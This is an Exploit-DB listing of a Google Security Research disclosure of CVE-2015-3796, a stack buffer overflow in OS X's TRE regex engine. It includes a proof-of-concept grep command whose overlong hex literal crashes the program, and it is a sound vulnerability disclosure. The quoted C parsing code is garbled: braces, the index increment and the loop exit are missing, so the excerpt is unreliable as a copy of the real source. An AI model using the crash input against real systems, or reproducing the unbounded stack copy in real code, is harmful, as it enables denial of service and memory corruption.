OS X Regex Engine TRE - Stack Buffer Overflow

ID EDB-ID:38263
Type exploitdb
Reporter Google Security Research
Modified 2015-09-22T00:00:00


OS X Regex Engine (TRE) - Stack Buffer Overflow. CVE-2015-3796. Dos exploit for osx platform

                                            Source: https://code.google.com/p/google-security-research/issues/detail?id=428

OS X Libc uses the slightly obscure TRE regex engine [ http://laurikari.net/tre/ ]

If used in enhanced mode (by passing the REG_ENHANCED flag to regcomp) TRE supports arbitrary-width hex literals. Here is the code used to parse them:

  /* Wide char. */
  char tmp[32];
  long val;
  int i = 0;
  while (ctx->re_end - ctx->re >= 0)
      if (ctx->re[0] == CHAR_RBRACE)
      if (tre_isxdigit_l(ctx->re[0], ctx->loc))
    tmp[i] = (char)ctx->re[0];
      return REG_EBRACE;

ctx->re points to the regex characters. This code blindly copies hex characters from the regex into the 32 byte stack buffer tmp until it encounters either a non-hex character or a '}'...

I'm still not sure exactly what's compiled with REG_ENHANCED but at least grep is; try this PoC on an OS X machine:

lldb -- grep "\\\\x{`perl -e 'print "A"x1000;'`}" /bin/bash

That should crash trying to read and write pointers near 0x4141414141414141

Severity Medium because I still need to find either a priv-esc or remote context in which you can control the regex when REG_ENHANCED is enabled.